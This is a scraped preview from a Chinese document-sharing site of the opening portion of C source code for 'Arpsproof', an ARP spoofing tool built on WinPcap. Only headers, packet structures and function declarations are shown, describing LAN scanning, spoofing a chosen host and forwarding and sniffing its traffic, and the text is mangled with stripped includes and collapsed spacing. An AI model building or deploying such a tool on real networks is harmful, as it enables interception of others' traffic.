#include"> #include" />
欢迎来到天天文库
浏览记录
ID:40545837
大小:95.00 KB
页数:16页
时间:2019-08-04
《arpsproof 源码》由会员上传分享,免费在线阅读,更多相关内容在教育资源-天天文库。
1、Arpsproof源码//saga.constantine编写2006.4.20//printf("haveruntohere!!!");我自己的习惯,调试的时候好复制到程序中调试用!#include#include#include//winpcap的头文件#include#include//多线程编程的头文件#include#include//提取网关用的头文件#pr
2、agmacomment(lib,"ws2_32")#pragmacomment(lib,"pcap")#pragmacomment(lib,"IPHlpApi")////////////////////////////////////////////////////////////////////#defineIPTOSBUFFERS12#defineMOSTCHEATNUMBER256//最大的欺骗数目#defineETH_IP0x0800//定义各种标识的数值#defineETH_ARP0x0806#define
3、ARP_REPLY0x0002#defineARP_REQUEST0x0001#defineARP_HARDWARE0x0001/////////////////////////////////////////////////////////////////////typedefstructethdr//以太头结构{unsignedchareh_dst[6];unsignedchareh_src[6];unsignedshorteh_type;}ETHDR,*PETHDR;typedefstructarphdr//a
4、rp头结构{unsignedshortarp_hdr;unsignedshortarp_pro;unsignedchararp_hln;unsignedchararp_pln;unsignedshortarp_opt;unsignedchararp_sha[6];unsignedlongarp_spa;unsignedchararp_tha[6];unsignedlongarp_tpa;}ARPHDR,*PARPHDR;typedefstructacttiveIpwithMac//用于存储ip与对应mac的结构{ac
5、ttiveIpwithMac*next;unsignedlongip;unsignedcharmac[6];}acttiveIpwithMac,*PacttiveIpwithMac;////////////////////////////////////////////////////////////////////////////char*iptos(u_longin);//用来将网络的ip地址转换成4字节形式voidifprint(pcap_if_t*d);//显示pcap_if结构的信息intmacequal(
6、PacttiveIpwithMacm,PacttiveIpwithMacn);//判断两个mac是否相同intgetmmac();//获得自己mac的函数.用pcap实现.当让还可以用GetAdaptersInfo来获得unsignedint_stdcallsendpackettogetallacttiveIpwithMac(void*x);//向局域网内发arp请求包扫描unsignedint_stdcallrecvpackettogetallacttiveIpwithMac(void*x);//接受并存储局域网的
7、arp响应信息unsignedint_stdcallsproof(void*x);//欺骗某一特定的主机,需传递主机的序号,序号由扫描获得unsignedint_stdcalltransmitandsniffer(void*x);//转发包的线程intGetgatewayip(ULONGchoosedip);//获取本地的网关ip//////////////////////////////////////////////////////////////////////////PacttiveIpwithMacmyip
8、,gateip,Pipmachead=NULL;//定义全局变量记录我的和网关的ip和macULONGmynetmask;//我的子网掩码pcap_t*slecadopt;//指向选择网卡的指针intSsendover=0;//用于控制线程的标志intcheat[MOSTCHEATNUMBER];//用于控制欺骗线程的标志///////////
此文档下载收益归作者所有